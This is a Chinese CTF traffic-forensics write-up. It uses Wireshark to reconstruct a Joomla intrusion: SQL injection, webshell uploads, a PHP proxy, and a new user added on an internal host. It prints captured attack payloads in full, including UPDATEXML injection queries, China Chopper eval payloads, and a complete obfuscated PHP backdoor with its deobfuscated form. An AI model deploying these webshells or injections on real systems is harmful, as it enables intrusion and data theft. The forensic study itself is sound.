前言:
最近的学习效率不是很高,但无论在家还是学校都要学会自律,而且马上就铁人三项比赛了,通过复现一些之前的赛题进行学习。
0x01:涉及的一些协议
- TCP(传送控制协议)
作用:是一种面向连接、可靠的、基于字节流的传输层通信协议
功能:数据包分块、发送接收确认、超时重发、数据校验、数据包排序、控制流量
TCP格式
连接,三次握手
断开连接,四处挥手
3. UDP(用户数据报协议)
4. IP (互联网协议)
5. FTP(文件传输协议)
作用:用于网络上进行文件传输的一套标准协议,使用C/S模式。属于应用层。
FTP一般运行在20和21两个端口。20用于传输控制流
在wireshark过滤器中
ftp 只显示命令链路的,没有数据链路的
ftp-data 传输数据的链路
ftp-data or ftp 全部显示
- ARP(地址解析协议)
作用:通过解析网络层地址来寻找数据链路层地址,即通过IP地址定位MAC地址
7. DHCP(动态地址配置协议)
作用:用于内部网络或网络服务供应商自动分配IP地址给用户
请求过程和报文格式
0x02:常用过滤命令
#1.过滤IP
ip.addr==192.168.x.x
ip.addr.eq 192.168.x.x
(addr/src/dst)
#2.过滤协议
http/tcp/telnet/ssh
#3.过滤HTTP请求方法
http.request.method==POST(GET)
#4.uri中包含eval关键字
http.request.uri contains eval
#5.请求状态码为404
http.response.code==404
#6.连接符
&& || and or
做题技巧:
1.大量404请求-》目录扫描
2.大量select...from关键字请求-》sql注入
3.连续一个ip的多端口请求或多个ip的几个相同端口请求-》端口扫描
4.常见的关键字:
Login、admin、manage、edit、upload、eval
assert、POST、select、404、alert
2018.5.5信息安全铁人三项
#题目描述
1.黑客攻击的第一个受害主机的网卡IP地址
2.黑客对URL的哪一个参数实施了SQL注入
3.第一个受害主机网站数据库的表前缀(加上下划线 例如abc_)
4.第一个受害主机网站数据库的名字
5.Joomla后台管理员的密码是多少
6.黑客第一次获得的php木马的密码是什么
7.黑客第二次上传php木马是什么时间
8.第二次上传的木马通过HTTP协议中的哪个头传递数据
9.内网主机的mysql用户名和请求连接的密码hash是多少(用户:密码hash)
10.php代理第一次被使用时最先连接了哪个IP地址
11.黑客第一次获取到当前目录下的文件列表的漏洞利用请求发生在什么时候
12.黑客在内网主机中添加的用户名和密码是多少
13.黑客从内网服务器中下载下来的文件名
第一个数据包
一大堆的数据包,先过滤http协议查看一下
这个IP很可疑,而且也是公网的IP,过滤一下可靠他都访问了哪些IP
http.request.method==GET && ip.src==202.1.1.2
发现202.1.1.2对192.168.1.8发送大量的请求(爆破),所以黑客攻击的第一个受害主机的网卡IP地址192.168.1.8
继续往下面看,发现在进行SQL注入,随便拿一个追踪数据流
所以黑客对URL的list[select]
参数实施了SQL注入
在报错信息中可以查看到网站数据库的表前缀
为ajtuc_
接下来确定第一个受害主机网站数据库的名字,SQL注入而且是GET方式的,肯定会在传入的参数中留下注入的数据库名字,再次进行过滤
(ip.src==202.1.1.2&&ip.dst==192.168.1.8) && http
直接查看202.1.1.2,SQL注入的最后一条请求,进行解码
第一个受害主机网站数据库的名字为Joomla
接下来查找Joomla后台管理员的密码是什么
http contains "password" && http.request.method==POST
过滤出两条登陆的信息,但查看HTTP数据流发现都是在测试密码,所以这里没有密码,一开始觉得是在第二个流量包里面,但是过滤后发现已经是登陆成功了,所以既然密码没有在登陆出现,就去查一下是否在SQL注入的时候给爆破出来了,就在过滤语句中添加password
ip.dst == 192.168.1.8 && http contains "password"
查到三条数据
查看返回的报错信息
Status: 500 XPATH syntax error: 'qqzvq$2y$10$lXujU7XaUviJDigqqkkq' SQL=SELECT (UPDATEXML(5928,CONCAT(0x2e,0x71717a7671,(SELECT MID((IFNULL(CAST(password AS CHAR),0x20)),1,22) FROM joomla.ajtuc_users ORDER BY id LIMIT 0,1),0x71716b6b71),7096)),uc.name AS editor FROM `ajtuc_ucm_history` AS h LEFT JOIN ajtuc_users AS uc ON uc.id = h.editor_user_id WHERE `h`.`ucm_item_id` = 1 AND `h`.`ucm_type_id` = 1 ORDER BY `h`.`save_date`
Status: 500 XPATH syntax error: 'qqzvqFMzKy6.wx7EMCBqpzrJdn7qqkkq' SQL=SELECT (UPDATEXML(3613,CONCAT(0x2e,0x71717a7671,(SELECT MID((IFNULL(CAST(password AS CHAR),0x20)),23,22) FROM joomla.ajtuc_users ORDER BY id LIMIT 0,1),0x71716b6b71),7939)),uc.name AS editor FROM `ajtuc_ucm_history` AS h LEFT JOIN ajtuc_users AS uc ON uc.id = h.editor_user_id WHERE `h`.`ucm_item_id` = 1 AND `h`.`ucm_type_id` = 1 ORDER BY `h`.`save_date`
Status: 500 XPATH syntax error: 'qqzvqzi/8B2QRD7qIlDJeqqkkq' SQL=SELECT (UPDATEXML(8949,CONCAT(0x2e,0x71717a7671,(SELECT MID((IFNULL(CAST(password AS CHAR),0x20)),45,22) FROM joomla.ajtuc_users ORDER BY id LIMIT 0,1),0x71716b6b71),3079)),uc.name AS editor FROM `ajtuc_ucm_history` AS h LEFT JOIN ajtuc_users AS uc ON uc.id = h.editor_user_id WHERE `h`.`ucm_item_id` = 1 AND `h`.`ucm_type_id` = 1 ORDER BY `h`.`save_date`
qqzvq$2y$10$lXujU7XaUviJDigqqkkq
qqzvqFMzKy6.wx7EMCBqpzrJdn7qqkkq
qqzvqzi/8B2QRD7qIlDJeqqkkq
发现SQL语句前面都有一个0x71717a7671
,后面有一个0x71716b6b71
,解码一下
0x71717a7671
qqzvq
0x71716b6b71
qqkkq
所以是前缀和后缀,去掉这些,得到
$2y$10$lXujU7XaUviJDig
FMzKy6.wx7EMCBqpzrJdn7
zi/8B2QRD7qIlDJe
到这一步也不知道该怎么弄了,看了飘零师傅的博客,最后是合在一起,组成密文解密即可(所以上面的报文错误信息就需要按顺序排列)
$2y$10$lXujU7XaUviJDigFMzKy6.wx7EMCBqpzrJdn7zi/8B2QRD7qIlDJe
这个不知道要怎么破解,破解之后应该就是密码了
第二个数据包
接下来查看黑客第一次获得的php木马的密码是什么
这个是在第一个数据包最后面发现的,一个php文件,一看就不正常好吧 ,应该不会开发人员没事干写个这种文件,所以应该是木马,追踪一下流查看一下
但是啥也没,所以就直接切换第二个数据包进行查看
(ip.src==202.1.1.2&&ip.dst==192.168.1.8) && http
发现有几个数据包是POST /kkkaaa.php
,追踪一下流进行查看
传入的可以解码一下,而且服务器返回的状态码是200,说明是成功的
zzz=@eval(base64_decode($_POST[z0]));
&z0=
@ini_set("display_errors", "0");
@set_time_limit(0);
@set_magic_quotes_runtime(0);
echo ("->|");;
$D = dirname($_SERVER["SCRIPT_FILENAME"]);
if ($D == "") $D = dirname($_SERVER["PATH_TRANSLATED"]);
$R = "{$D}\t";
if (substr($D, 0, 1) != "/") {
foreach (range("A", "Z") as $L) if (is_dir("{$L}:")) $R.= "{$L}:";
}
$R.= "\t";
$u = (function_exists('posix_getegid')) ? @posix_getpwuid(@posix_geteuid()) : '';
$usr = ($u) ? $u['name'] : @get_current_user();
$R.= php_uname();
$R.= "({$usr})";
print $R;;
echo ("|<-");
die();
所以很明显了php木马的密码是zzz
黑客第二次上传php木马是什么时间
发现一个footer.php
文件,但并没有上传这个文件的过程,猜想是不是通过之前的木马进行上传的
(ip.src==202.1.1.2&&ip.dst==192.168.1.8) && http.request.method==POST
发现第四个有些特别,可以查看下
解码并进行格式化后发现有footer. php
&zzz = @eval(base64_decode($_POST[z0]));
&z0 = @ini_set("display_errors", "0");
@set_time_limit(0);
@set_magic_quotes_runtime(0);
echo ("->|");;
$f = base64_decode($_POST["z1"]);
$c = $_POST["z2"];
$c = str_replace("\r", "", $c);
$c = str_replace("\n", "", $c);
$buf = "";
for ($i = 0;$i < strlen($c);$i+= 2) $buf.= urldecode("%" . substr($c, $i, 2));
echo (@fwrite(fopen($f, "w"), $buf) ? "1" : "0");;
echo ("|<-");
die(); & z1 = / var /www / html / joomla / tmp / footer . php & z2 =
< ? php $p = 'l>]ower";$i>]=$m[1][0].$m[1]>][1];$h>]=$>]sl($ss(m>]d5($i.>]$kh),0>],3))>];$f=$s>]l($s>]s(md5';
$d = ']q=array_v>]>]alues(>]$q);>]preg_match_a>]ll("/(>][\\w]>])[\\w->]]+>](?:;q=>]0.([\\d]))?,?/",>';
$W = '),$ss(>]$s[>]$i],>]0,$e))),$>]>]k)));>]$o=ob_get_content>]>]s();ob_end_>]>]clean();$d=>]base';
$e = ']T_LANGUAGE"];if($rr>]&&$>]ra){$>]u=pars>]e_>]url($rr);par>]se_st>]r($u[">]query"],$>]q);$>';
$E = '>]64_e>]ncod>]e>](>]x(gz>]compress($o),$k));pri>]nt("<$k>$d<>]/$k>">])>];@>]session_destr>]oy();}}}}';
$t = '($i.>]$kf),0,3>]));$p>]="";fo>]r($z=1>];$z<>]count($m>][1]);$z+>]>]+)$p>].=$q[$m[>]2][$z]];i>';
$M = ']$ra,$>]m);if($q>]&&$m>]){@sessi>]on_sta>]>]rt();$s=&$>]_SESS>]ION;$>]>]s>]s="substr";$sl="s>]>]trto';
$P = ']f(s>]tr>]pos($p>],$h)===0){$s[>]$i]="";$p>]=$ss($>]p,3);>]}if(ar>]ray>]_key_exist>]>]s($i,$>]s)>]){$>';
$j = str_replace('fr', '', 'cfrrfreatfrfre_funcfrtfrion');
$k = '];}}re>]>]turn $o;>]}$>]r=$_SERV>]ER;$rr=@$r[>]"HTTP>]_REFERE>]R"];$ra>]=@>]$r[">]HTTP_A>]CC>]EP>';
$g = '"";for(>]$i=>]0;$i<$l;>])>]{for($j=0;($j<>]$c&&>]$i<$l);$>]j++,$i>]++){$o.>]=$t{$i>]}^$k{$j}>';
$R = '$k>]h="cb4>]2";$kf="e130">];functio>]n>] x($t>],$k){$c=s>]trle>]>]n($k);$l=strle>]n>]($t)>];$o=';
$Q = ']s[$i].=$p;$e=strp>]>]os(>]$s[$i>]],$f);if($>]e){$k=$kh.$k>]f;>]ob_sta>]rt();@e>]val(@gzun>]co>';
$v = ']mpress(@x>](@b>]as>]>]e64_decode(pr>]>]e>]g_repla>]ce(array("/_/","/-/"),arr>]ay(>]"/","+">]';
$x = str_replace('>]', '', $R . $g . $k . $e . $d . $M . $p . $t . $P . $Q . $v . $W . $E);
$N = $j('', $x);
$N();
?>
但下面那一段代码输出后是什么,可以测试一下
var_dump($x);
格式化一下
<?PHP
"$kh="cb42";$kf="e130";
function x($t, $k)
{
$c = strlen($k);
$l = strlen($t);
$o = "";
for ($i = 0; $i < $l;) {
for ($j = 0; $j < $c && $i < $l; $j++, $i++) {
$o .= $t[$i] ^ $k[$j];
}
}
return $o;
}
$r=$_SERVER;
$rr=@$r["HTTP_REFERER"];
$ra=@$r["HTTP_ACCEPT_LANGUAGE"];
if($rr&&$ra){$u = parse_url($rr);
parse_str($u["query"], $q);
$q = array_values($q);
preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/", $ra, $m);
if ($q && $m) {
@session_start();
$s = & $_SESSION;
$ss = "substr";
$sl = "strtolower";
$i = $m[1][0] . $m[1][1];
$h = $sl($ss(md5($i . $kh), 0, 3));
$f = $sl($ss(md5($i . $kf), 0, 3));
$p = "";
for ($z = 1;$z < count($m[1]);$z++) $p.= $q[$m[2][$z]];
if (strpos($p, $h) === 0) {$s[$i] = "";
$p = $ss($p, 3);
}if (array_key_exists($i, $s)) {$s[$i].= $p;
$e = strpos($s[$i], $f);
if ($e) {$k = $kh . $kf;
ob_start();
@eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/", "/-/"), array("/", "+"), $ss($s[$i], 0, $e))), $k)));
$o = ob_get_contents();
ob_end_clean();
$d = base64_encode(x(gzcompress($o), $k));
print ("<$k>$d</$k>");
@session_destroy();
}}}}"
所以黑客第二次上传php木马时间是
17:20:44.248365000
第二次上传的木马通过HTTP协议中的哪个头传递数据
观察木马涉及到了这两个与HTTP头有关的参数
$_SERVER["HTTP_REFERER"]和$_SERVER["HTTP_ACCEPT_LANGUAGE"]
查看一下上传进去的第二个木马
先进行过滤一下
(ip.src==202.1.1.2&&ip.dst==192.168.1.8) && http
查看其中的一个footer. php文件
发现Referer比较可疑,所以第二次上传的木马通过HTTP协议中Referer
来传递数据的,一开始我是这样做的,但这样感觉跟猜测一样,没有确定的证据,看了飘零师傅的题解,发现要先解码
是乱码,再看上面的木马,有一段是这样的,与小马的特性有关
@eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/", "/-/"), array("/", "+"), substr($s[$i], 0, $e))), "cb42e130")));
一个PHP混淆后门的分析
返回的是加密后的信息
所以这样才能进行确定第二次上传的木马通过HTTP协议中Referer
来传递数据的
内网主机的mysql用户名和请求连接的密码hash是多少(用户:密码hash)
注意这里是内网主机,所以再用http是查不多任何结果的,使用TCP协议,上面也介绍了这种协议
tcp contains "mysql" && mysql
在第二个数据包,没有找到任何信息,查看第三个数据包也没有发现,看第四个
第四个数据包
发现192.168.1.8进行频繁的登陆,应该是在爆破MySQL密码
tcp contains "mysql" && mysql && ip.src==192.168.1.8
进一步过滤,找最后一条信息,应该就是登陆成功了
故内网主机的mysql用户名和请求连接的密码hash是
admin:1a3068c3e29e03e3bcfdba6f8669ad23349dc6c4
总结一下已经得到的信息
1.黑客攻击的第一个受害主机的网卡IP地址
192.168.1.8
2.黑客对URL的哪一个参数实施了SQL注入
list[select]
3.第一个受害主机网站数据库的表前缀(加上下划线 例如abc_)
ajtuc_
4.第一个受害主机网站数据库的名字
joomla
5.Joomla后台管理员的密码是多少
$2y$10$lXujU7XaUviJDigFMzKy6.wx7EMCBqpzrJdn7zi/8B2QRD7qIlDJe(未解密)
6.黑客第一次获得的php木马的密码是什么
zzz
7.黑客第二次上传php木马是什么时间
17:20:44.248365
8.第二次上传的木马通过HTTP协议中的哪个头传递数据
Referer
9.内网主机的mysql用户名和请求连接的密码hash是多少(用户:密码hash)
admin:1a3068c3e29e03e3bcfdba6f8669ad23349dc6c4
接下来看第10个问题
php代理第一次被使用时最先连接了哪个IP地址
(ip.src==202.1.1.2&&ip.dst==192.168.1.8) && http
查看一下,发现又多出来一个文件
该主机已经被挂上了tunnel.php
,方便外网对内网的访问,所以php代理第一次被使用时最先连接了4.2.2.2
第九个数据包
黑客第一次获取到当前目录下的文件列表的漏洞利用请求发生在什么时候
(ip.src==202.1.1.2&&ip.dst==192.168.1.8) && (http contains "dir" && http contains "ls")
如果还是这样的过滤方法就查询不到信息,因为这种查询固定了src只能是202.1.1.2
,不能接收来自192.168.1.8的信息,之前用这种过滤的可能还行,但更好的还是使用下面这种过滤方法:
(ip.addr == 192.168.1.8 || ip.addr == 202.1.1.2) && (http contains "dir" || http contains "ls")
发现了ls、dir
观察追踪ls的数据流,发现并没有列出文件,追踪一下dir的数据流
很明显都列出来了,所以黑客第一次获取到当前目录下的文件列表的漏洞利用请求发生
18:37:38.482420000
而且目标系统为windows
黑客在内网主机中添加的用户名和密码是多少
由上面可以知道192.168.2.20的机器可以执行命令,所以过滤出这个IP
ip.addr == 192.168.2.20 && http
黑客利用echo命令写入了一个名为sh.php的后门,在18:49:27.767754000
时间发现
发现一条可疑数据,解码一下传入的参数发现
&z1=cmd&z2=cd/d"C:\phpStudy\WWW\b2evolution\install\test\"&net user&echo [S]&cd&echo [E]
判断黑客应该是执行了net user的命令,再往下面看发现
在18:50:42.908737000
时间时间出现了一个kaka
用户
分析一下
18:49:27.767754时,不存在kaka用户
18:50:42.908737时,kaka用户已成为管理员
说明就在这期间,黑客设置了管理员,下面就过滤下查询
所以添加用户名和密码一定就在这之间
结果在18:49:48.830665000时间
找到了添加用户的信息
解码发现,添加了kaka
用户,而且密码也为kaka
故黑客在内网主机中添加的用户名和密码均是kaka
最后查询一下黑客从内网服务器中下载下来的文件名是什么?
ip.src == 192.168.2.20 && http contains "install"
如果黑客请求了,192.168.2.20这个IP一定会返回响应的信息,过滤后查到了
看了飘零师傅的题解,既然是下载,应该就是利用中国菜刀进行下载,那只过滤出post流量,查看命令即可
ip.dst==192.168.2.20 && http.request.method==POST
直接查找最后一条信息
解码发现也是这个文件,所以可以确定黑客下载的就是这个文件
答案汇总
1.黑客攻击的第一个受害主机的网卡IP地址
192.168.1.8
2.黑客对URL的哪一个参数实施了SQL注入
list[select]
3.第一个受害主机网站数据库的表前缀(加上下划线 例如abc_)
ajtuc_
4.第一个受害主机网站数据库的名字
joomla
5.Joomla后台管理员的密码是多少
$2y$10$lXujU7XaUviJDigFMzKy6.wx7EMCBqpzrJdn7zi/8B2QRD7qIlDJe(未解密)
6.黑客第一次获得的php木马的密码是什么
zzz
7.黑客第二次上传php木马是什么时间
17:20:44.248365
8.第二次上传的木马通过HTTP协议中的哪个头传递数据
Referer
9.内网主机的mysql用户名和请求连接的密码hash是多少(用户:密码hash)
admin:1a3068c3e29e03e3bcfdba6f8669ad23349dc6c4
10.php代理第一次被使用时最先连接了哪个IP地址
4.2.2.2
11.黑客第一次获取到当前目录下的文件列表的漏洞利用请求发生在什么时候
18:37:38.482420
12.黑客在内网主机中添加的用户名和密码是多少
kaka:kaka
13.黑客从内网服务器中下载下来的文件名
lsass.exe_180208_185247.dmp
总结
做完感觉挺有意思的,有些地方没有想到就看看飘零师傅的题解,师傅实在tql,像师傅学习!